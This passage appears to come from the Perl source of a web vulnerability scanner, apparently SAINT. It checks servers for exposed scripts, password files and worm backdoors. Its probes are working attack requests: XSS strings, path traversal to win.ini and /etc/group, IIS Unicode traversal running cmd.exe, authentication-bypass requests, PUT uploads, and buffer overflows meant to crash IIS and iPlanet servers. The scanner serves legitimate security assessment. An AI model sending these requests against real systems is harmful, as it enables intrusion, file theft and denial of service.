&http_test("/_private/shopping_cart.mdb");
&http_test("/cgi-bin/console.exe");

# Potential problems
$service_output = "http potential problems";
$text = "(%cgi%) is present";
$cgi_rm = "/cgi-bin/";
&http_test("/piranha/secure/passwd.php3", "%200%", "zcio");
&http_test("/scripts/cart32.exe/cart32clientlist");
&http_test("/scripts/emurl/RECMAN.dll");
&http_test("/cgi-bin/guestbook.cgi");
&http_test("/cgi-bin/guestbook.pl");
&http_test("/cgi-bin/excite");
&http_test("/site/eg/source.asp");
&http_test("/cgi-bin/w3-msql/index.html");
&http_test("/cgi-bin/wais.pl");
&http_test("/cgi-bin/wais/wais.pl");
&http_test("/ddrint/bin/ddicgi.exe");
&http_test("/cgi-bin/db2www");
&http_test("/cgi-bin/db2www.exe");
&http_test("/search97cgi/vtopic");
&http_test("/cgi-bin/webplus");
&http_test("/cgi-bin/webplus.exe");
&http_test("/cgi-bin/webplus.cgi");
&http_test("/dsgw/bin/search");
&http_test("/pbserver/pbserver.dll");
&http_test("/cgi-bin/statsconfig.pl");
&http_test("/cgi-bin/wwwwais");
&http_test("/cgi-bin/pi");
&http_test("/cgi-bin/post-query");
&http_test("/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report");
&http_test("/cgi-bin/websync.exe");
&http_test("/query.asp");
&http_test("/query.idq");
&http_test("/search/query.asp");
&http_test("/search/query.idq");
&http_test("/article.php");
&http_test("/cgi-bin/CWMail.exe");
&http_test("/scripts/CWMail.exe");
&http_test("/cgi-bin/webnews.exe");
&http_test("/scripts/webnews.exe");
&http_test("/cgi-bin/genhtml.pl", "%200% || %500%");
$cgi_rm = "/eManager/cgi-bin/";
&http_test("/eManager/cgi-bin/register.dll", "%200%");
$cgi_rm = "/sek-bin/";
&http_test("/sek-bin/helpwin.gas.bat");
$cgi_rm = "/interscan/cgi-bin/";
&http_test("/interscan/cgi-bin/FtpSaveCSP.dll");
&http_test("/interscan/cgi-bin/FtpSaveCVP.dll");
$cgi_rm = "/advwebadmin/folders/";
&http_test("/advwebadmin/folders/filemanager.asp");
$cgi_rm = "/cgi-script/csSearch/";
&http_test("/cgi-script/csSearch/csSearch.cgi", "%200% || %302%");
$cgi_rm = "/cgi-script/csGuestBook/";
&http_test("/cgi-script/csGuestBook/csGuestBook.cgi");
$cgi_rm = "/cgi-script/csLiveSupport/";
&http_test("/cgi-script/csLiveSupport/csLiveSupport.cgi");
$cgi_rm = "/cgi-script/csNews/";
&http_test("/cgi-script/csNews/csNews.cgi");
$cgi_rm = "/cgi-script/csChatRBox/";
&http_test("/cgi-script/csChatRBox/csChatRBox.cgi");
$cgi_rm = "/cgi-script/CSMailto/";
&http_test("/cgi-script/CSMailto/CSMailto.cgi");
# PHP-Nuke files. "file" parameter indicates the vulnerable file.
# (Must output /article.php instead of article.php for
# compatibility with prior check.)
&http_test("/modules.php?name=News&file=article", "%200% && !/such file doesn't exist/",
	   0, 0, "(/article.php) is present");

# Cross-site scripting
$service_output = "Cross site scripting";
$text = "Web server allows cross-site scripting";
&http_test("/<SCRIPT>alert(\'SAINT\')</SCRIPT>.jsp", "/<SCRIPT>alert/", "ycs");
&http_test("/<SCRIPT>alert(\'SAINT\')</SCRIPT>");
&http_test("/webapp/examples/<SCRIPT>alert(\'SAINT\')</SCRIPT>");
&http_test("/jsp-mapped-dir/<SCRIPT>alert(\'SAINT\')</SCRIPT>.jsp");
&http_test("/home.nsf/<img%20src=javascript:alert(\'SAINT\')>", "/<img src=javascript:alert/"); 
$text = "NetWare Web Search allows cross-site scripting";
&http_test("/NSearch/SearchServlet?query=<SCRIPT>alert(\'SAINT\')</SCRIPT>", "/<SCRIPT>alert/");

# Check buffer overflow in FrontPage Visual Studio extensions
# Should return 501 if present, 500 if overflow is successful
if (&http_test("/_vti_bin/_vti_aut/fp30reg.dll?SAINT",
	       "/501 Not Implemented/i",0,0,0,1)) {
    &http_test("/_vti_bin/_vti_aut/fp30reg.dll?" . "A"x259,
	       "/500 Server Error/i", "rs", "http FrontPage",
	       "vulnerable FrontPage Visual Studio extensions");
}

if (&http_test("/scripts/cart32.exe/cart32clientlist", "/401 Auth/i",0,0,0,1)) {
    # cart32 requires authentication so it may be vulnerable.
    # but if it's an ancestor directory that requires authentication
    # then it's a false alarm
    if (!&http_test("/scripts", "/401 Auth/i",0,0,0,1)) {
         $service_output = "http potential problems";
         $text = "possible backdoor password in cart32";
         $severity = "zcio";
         &saint_print();
    }
}

# Cold Fusion vulnerabilities
$service_output = "http Cold Fusion";
$text = "Cold Fusion Vulnerabilities from: %cgi%";
$response = "%200% && !/404 Object Not Found/i && !/order to prevent unauthorized execution/i && !/<title>Oops/i";
$cgi_rm = "/cfdocs/";
&http_test("/cfdocs/expeval/exprcalc.cfm",0,"ns");
&http_test("/cfdocs/expeval/openfile.cfm");
&http_test("/cfdocs/exampleapp/docs/sourcewindow.cfm");
&http_test("/cfdocs/cfmlsyntaxcheck.cfm");
&http_test("/cfdocs/snippets/viewexample.cfm");
$http_headers = "Host: 127.0.0.1\n";
&http_test("/cfdocs/exampleapps/publish/welcome.cfm");
&http_test("/cfdocs/exampleapps/email/login.cfm",0,"nr");
$http_headers = "";
&http_test("/CFIDE/Administrator/startstop.html",0,"dos");
&http_test("/docs/showtemp.cfm?TYPE=JPEG&FILE=c:\\\\boot.ini",
	"/disk\\(/i && /partition\\(/i", "ur");
&http_test("/CFIDE/Administrator/docs/releasenotes.htm",
	   "/ColdFusion Server (\\d)\\.([\\d\\.]+)/ && \$1>=2 && \$1<5",
	   "zcio",0,"possible vulnerabilities in Cold Fusion pre 5.0"); 

# Vulnerable scripts included in IIS
$service_output = "http IIS samples";
$text = "MS IIS Vulnerability: %cgi%";
&http_test("/iissamples/exair/howitworks/codebrws.asp", "%200%", "nr");
&http_test("/iissamples/sdk/asp/docs/codebrws.asp");
&http_test("/iissamples/exair/howitworks/code.asp");
&http_test("/msadc/samples/selector/showcode.asp");

# Visual Interdev vulnerability
&http_test("/_vti_bin/_vti_aut/Dvwssr.dll", "%200%", "zcio",
	   "Visual Interdev vulnerability",
	   "Possible vulnerability in Visual Interdev: Dvwssr.dll");

# Allaire JRun vulnerabilities
$service_output = "JRun vulnerabilities";
$text = "Vulnerability in JRun: %cgi%";
&http_test("//WEB-INF/", "%200%", "ur");
&http_test("/./WEB-INF/web.xml");
&http_test("/%3f.jsp","%200% && /index\\./i","yi");
&http_test("/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../winnt/win.ini","%200%","ur",0,
	   "Vulnerability in JRun: SSIFilter");
&http_test("/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/group");
&http_test("/scripts/jrun.dll","%200% || %500%","zcio",0,"possible JRun ISAPI buffer overflow");

# Cobalt RAQ server
&http_test("/.cobalt/sysManage/../admin/.htaccess", "%200%",
	   "ur","Cobalt RaQ vulnerabilities","Cobalt RaQ unauthorized file access");
&http_test("/cgi-bin/.cobalt/alert/service.cgi", "%200%", "zcio", 0,
	   "Cobalt RaQ denial of service (service.cgi)");
&http_test("/cgi-bin/.cobalt/alert/service.cgi?service=<h1>Hello!</h1><script>alert('hello')</script>",
	   "/<script>alert/", "ycs", 0, "Cobalt RaQ cross-site scripting (service.cgi)");

# FrontPage vulnerabilities
$service_output = "http FrontPage";
$text = "MS FrontPage Server Extension Vulnerability: %cgi%";
&http_test("/_vti_pvt/service.pwd", "%200%", "ns");
&http_test("/_vti_pvt/users.pwd");
&http_test("/_vti_pvt/authors.pwd");
&http_test("/_vti_pvt/administrators.pwd");

# http PUT vulnerabilities
$http_method = "PUT";
$http_headers = "Content-Length: 10\nSAINT test file\n",
&http_test("/saint.txt", "%200% || /201 Created/i || /204 No Content/i", "uw",
	   "http put", "Web server allows PUT: /");
&http_test("/cgi-bin/saint.txt",0,0,0,
	   "Web server allows PUT: /cgi-bin/");
$http_method = "GET";
$http_headers = "";

# RDS vulnerabilities
&http_test("/msadc/msadcs.dll/ActiveDataFactory.Query", "%200%", "ns",
	   "ODBC RDS", "Possible ODBC RDS Vulnerability");

# Microsoft BackOffice
$http_headers = "Host: hostname\nAuthorization: Basic\n";
&http_test("/boadmin/backoffice/services.asp", "%200%", "nw",
	   "Microsoft BackOffice", "BackOffice Administrator authentication bypass");
$http_headers = "";

# Sambar source code disclosure
&http_test("/cgi-bin/environ.pl+%00", "/STDIN/", "yi",
	   "Sambar vulnerabilities", "source code disclosure in Sambar");

# Netscape vulnerabilities
&http_test("/?wp-cs-dump", "/<TITLE>Index of \\//i", "yi",
	   "Netscape vulnerabilities",
	   "Directory listing through wp tag: /?wp-cs-dump");
$http_method = "INDEX";
&http_test("/", "%200%", "yi", "Netscape vulnerabilities",
	   "Directory listing through INDEX request");
$http_method = "GET";
if (!$extreme && $ostype =~ /Win/i) {
  &http_test("/publisher", "%200% && /Server: Netscape-Enterprise\\/4\\.[01]", "zcio",
	    "iPlanet vulnerabilities",
	    "Possible iPlanet web publishing DoS");
}

# Cisco web interface
&http_test("/exec/show/config/cr", "/access-group/ || /access-list/ || /enable secret/i", "rs",
	   "Cisco Catalyst access",
	   "Cisco web interface allows command execution");
&http_test("/level/16/exec/show/config/cr", "/401 Unauth/i && /CISCO/i", "zcio",
	   "Cisco web interface access",
	   "possible Cisco web authentication bypass");

# Oracle Internet Application Server
&http_test("/pls", "%200% || /301 Moved/i || %403%", "zcio",
	   "Oracle vulnerabilities",
	   "Possible vulnerabilities in Oracle iAS");
&http_test("/pls/admin_/gateway.htm");
# Backup check in case the above fails
# (This file is only there if demo is installed)
&http_test("/demo/ojspext/events/globals.jsa");

# Tektronix printer web configuration backdoor
&http_test("/_ncl_subjects.shtml", "%200%", "uw", "Tektronix printer",
	   "Tektronix web backdoor detected");
&http_test("/ncl_subjects.html");

# HP AdvanceStack switch
&http_test("/security/web_access.html", "%200%", "rs", "switch access",
	   "switch allows unauthorized password change");

# WebTrends
&http_test("/get_od_toc.pl?Profile=", "/path\\s*=\\s*[C-F]:/",
	   "bo", "WebTrends vulnerabilities", "vulnerabilities in WebTrends");

# DNSTools
&http_test("/dnstools/dnstools.php?section=more_info",
	   "%200% && /Version\\D*(\\d+)\\.([\\d\\.]+)( Beta )?(\\d*)/i && (\$1<2 || (\$1==2 && \$2==0 && \$3 && \$4<5))",
	   "us", "http cgi access", "Unauthorized Access via Web Server (dnstools.php)");

# Webmin
if ($webmin) {
    $http_headers = "Cookie: testing=1\n";
    if (!&http_test("/session_login.cgi?user=saint%0d&pass=saint",
	"/Invalid username/",0,0,0,1)) {
	$severity = "us";
	$service_output = "Webmin vulnerabilities";
	$text = "Webmin authentication bypass";
	&saint_print;
    }
    $http_headers = "";
}

# Code Red II backdoor
&http_test("/scripts/root.exe?/c+dir+\\\\", "%200%", "ht",
	   "Worm detected", "Worm detected (Code Red II)");
&http_test("/msadc/root.exe?/c+dir+\\\\");
&http_test("/c/winnt/system32/cmd.exe?/c+dir+\\\\");
&http_test("/d/winnt/system32/cmd.exe?/c+dir+\\\\");
# Script left behind by Nimda worm
$text = "Worm detected (Nimda)";
&http_test("/scripts/Admin.dll");
&http_test("/msadc/Admin.dll");
$text = "Worm detected (Nimda.E)";
&http_test("/scripts/Httpodbc.dll");
&http_test("/msadc/Httpodbc.dll");

# check whether .htr ISAPI is enabled (ISAPI returns
# a different 404 error message)
$http_headers = "Host: $target\n";
&http_test("/saint.htr",
	"/Error: The requested file could not be found/",
	"zcio", "http IIS access",
	"IIS .HTR filter is enabled");
$http_headers = "";

# Look for IIS Unicode-translation vulnerabilities

     @uni = ("..%c1%1c../",
	     "..%c0%af../",
	     "..%c1%9c../",
	     "..%255c..%255c"
	    );
     while ($code = shift @uni) {
	$cgi_test = "GET /scripts/${code}winnt/system32/cmd.exe?/c+dir+c:\\\\ HTTP/1.0\n\n";
	$args = "-bs \"$cgi_test\" $target $port";
	die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");
	while(<SCAN>) {
	  if (/200 OK/ && !$always200) {
	    $service_output = "http IIS access";
	    $severity = "us";
	    $type = ($#uni >= 0) ? "Unicode Translation" : "Double Decoding";
	    $text = "Folder traversal in IIS ($type)";
	    &saint_print();
	  }
	}
        close(SCAN);
     }

# Check for some instances of IIS File Name Inspection vulnerability

    @cgi_inspect = (
	# check for vulnerability using MSSQL7 CGI
	"GET /scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat\\\"+&+dir+c:\\\\+.exe HTTP/1.0\n\n",
	# check for vulnerability using PHP3 interpreter
	"GET /.\\\"./.\\\"./winnt/win.ini%20.php3 HTTP/1.0\n\n"
    );
    for $cgi_test (@cgi_inspect) {
	$args = "-bs \"$cgi_test\" $target $port";
	die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");
	while(<SCAN>) {
	  if (/200 OK/ && !$always200) {
	    $service_output = "http IIS access";
	    $severity = "us";
	    $text = "Filename inspection vulnerability in IIS";
	    &saint_print();
	  }
	}
        close(SCAN);
    }
	
# Look for Translate:f vulnerability

     $cgi_test = "GET /global.asp\\\\\\\\ HTTP/1.0\nTranslate: f\n";
     $cgi_test .= "Content-type: x-www-form-urlencoded\nContent-type: text/html\nContent-length: 18\n\n";
     $cgi_test .= "match=www&errors=0\n";
     $args = "-bs \"$cgi_test\" $target $port";
     die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");

     while(<SCAN>) {
       if (/200 OK/ && !$always200) {
	 $service_output = "http IIS access";
	 $text = "IIS specialized header vulnerability";
	 $severity = "yi";
	 &saint_print();
       }
     }
     close(SCAN);

# Look for YaBB vulnerability (must do it here because
# YaBB only accepts POSTs)

    $cgi_test = "POST /cgi-bin/search.pl HTTP/1.0\n";
    $cgi_test .= "Content-length: 88\n\n";
    $cgi_test .= "whichsearch=user&catsearch=../../../../../../etc/group&action=dosearch&numberreturned=25\n";
    $args = "-bs \"$cgi_test\" $target $port";
    die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");
    while(<SCAN>) {
	if (/:0:/) {
	    $severity = "us";
	    $service_output = "http cgi access";
	    $text = "Unauthorized Access via YaBB (search.pl)";
	    &saint_print();
	}
    }
    close(SCAN);

# Lotus Domino Web Server vulnerabilities

    $service_output = "Lotus Domino HTTP vulnerability";
    &http_test("/.nsf/../winnt/win.ini","%200%","ur",0,
	       ".nsf vulnerability in Lotus Domino");
    &http_test("/statrep.nsf/\$defaultNav",0,"zwoi",0,
	       "Lotus Domino default navigator access");
    &http_test("/statrep.nsf/\$alarms/8F6?OpenDocument",0,"ur",0,
	       "Lotus Domino view access control bypass");

# Check for Bugzilla

    $cgi_test = "GET /show_bug.cgi HTTP/1.0\n";
    $cgi_test .= "Host: $target\n";
    $cgi_test .= "Accept: text/html, text/plain, ";
    $cgi_test .= "application/perl, text/sgml, */*; q=0.01\n";
    $cgi_test .= "Negotiate: trans\n\n";

    $args = "-bs \"$cgi_test\" $target $port";
    die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");
    while(<SCAN>) {
	if (/Bugzilla version (\d+)\.([\d\.]+)/) {
	    if ($1<2 || ($1==2 && ($2<14.2 || $2==15))) {
		$severity = "nr";
		$service_output = "Bugzilla vulnerabilities";
		$text = "Vulnerable Bugzilla version: $1.$2";
		&saint_print;
	    }
	    if ($1==2 && $2==16) {
		$severity = "zcio";
		$service_output = "Bugzilla vulnerabilities";
		$text = "Possibly vulnerable Bugzilla version: $1.$2";
		&saint_print;
	    }
	}
    }
    close SCAN;

if ($check_netware) {
    # Check for NetWare Remote Manager
    $args = "$target 8009";
    die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");
    while(<SCAN>) {
	if (/8009:/) {
	    $service_orig = $service;
	    $service = "8009:TCP";
	    $severity = "zcio";
	    $service_output = "NetWare Remote Manager";
	    $text = "possible vulnerability in NetWare Remote Manager";
	    &saint_print;
	    $service = $service_orig;
	}
    }
}

if ($extreme) {

    # Check buffer overflow in IIS 5 for Windows 2000
    $cgi_test = "GET / HTTP/1.0\n\n";
    $cgi_test1 = "GET /NULL.printer HTTP/1.0\n";
    $cgi_test1 .= "Host: " . "A" x 425 . "\n\n";
    if (&crash_server($cgi_test, $cgi_test1, "IIS\/5")) {
	$severity = "rs";
	$service_output = "http IIS access";
	$text = "Buffer overflow in IIS 5";
	&saint_print();
    } else {
	# check for .ida overflow
        $cgi_test1 = "GET /NULL.ida?" . "A"x240 . "=X HTTP/1.0\n";
        $cgi_test1 .= "Host: SAINT\n\n";
	if (&crash_server($cgi_test, $cgi_test1, "IIS\/5")) {
	    $severity = "rs";
	    $service_output = "http IIS access";
	    $text = "Buffer overflow in IIS 5";
	    &saint_print();
	}
    }

    # check buffer overflows in iPlanet
    $cgi_test = "GET / HTTP/1.0\n\n";
    $cgi_test1 = "GETPROPERTIES /" . "A" x 2000 . " HTTP/1.1\n";
    $cgi_test1 .= "Host: SAINT\n\n";
    $cgi_test2 = "A" x 4022 . " /index.html HTTP/1.0\n\n";
    $cgi_test3 = "GET /?wp-html-rend HTTP/1.0\n\n";
    if (&crash_server($cgi_test, $cgi_test1, "Netscape")) {
	$severity = "rs";
	$service_output = "iPlanet vulnerabilities";
	$text = "Buffer overflow in iPlanet Web Publisher";
	&saint_print();
    # now try the HTTP method overflow
    } elsif (&crash_server($cgi_test, $cgi_test2, "Netscape")) {
	    $severity = "dos";
	    $service_output = "iPlanet vulnerabilities";
	    $text = "Buffer overflow in iPlanet HTTP method";
	    &saint_print();
    } else {
      # try the wp-html-rend denial of service five times
      for ($i = 0; $i < 5; $i++) {
	if (&crash_server($cgi_test, $cgi_test3, "Netscape")) {
	    $severity = "dos";
	    $service_output = "iPlanet vulnerabilities";
	    $text = "iPlanet web publishing DoS";
	    &saint_print;
	    $i = 5;
	}
      }
    }
}

sub crash_server {

my($check_url,$exploit_url,$server_id,$immediate) = @_;
my($up);

$up = 0;

# first see if the server is up
$args = "-bs \"$check_url\" $target $port";
die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");

while (<SCAN>) {
    $up = 1 if /$server_id/;
}
close SCAN;

if ($up) {
    # run the exploit
    $args = "-w 6 -bs \"$exploit_url\" $target $port";
    die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");
    $up = 0;
    while (<SCAN>) {
	$up = 1 if /$server_id/;
    }
    close SCAN;
    return 1 if !$up && $immediate;

    # check if it's still up
    $args = "-w 6 -bs \"$check_url\" $target $port";
    die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");
    $up = 0;
    while (<SCAN>) {
	$up = 1 if /$server_id/;
    }
    close SCAN;
    return 1 if !$up;
}
return 0;
}

sub http_test {

my($cgi_test, @parameter) = @_;
my($quiet,$output,$result);

$response = $parameter[0] || $response;
$severity = $parameter[1] || $severity;
$service_output = $parameter[2] || $service_output;
$text = $parameter[3] || $text;
$quiet = $parameter[4] || 0;

$args = "-bs \"$http_method $cgi_test $http_version\n$http_headers\n\" $target $port";
die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");

$response =~ s/%200%/\(\/200 OK\/ && !\$always200\)/;
$response =~ s/%302%/\(\/302 Moved\/ && !\$always302\)/;
$response =~ s/%403%/\(\/403 (Forbidden|Access)\/i && !\$always403\)/;
$response =~ s/%500%/\(\/500 (Internal|Server)\/i && !\$always500\)/;
$result = 0;
while(<SCAN>) {
    if (eval($response)) {
	$output = &saint_string;
	if ($output =~ /%cgi%/) {
	    $cgi_test =~ s/$cgi_rm//;
	    $cgi_test =~ s/\?.*$//s;
	    $output =~ s/%cgi%/$cgi_test/;
	}
	print "$output\n" if !$quiet;
	$result = 1;
    }
}
close(SCAN);
return $result;
}
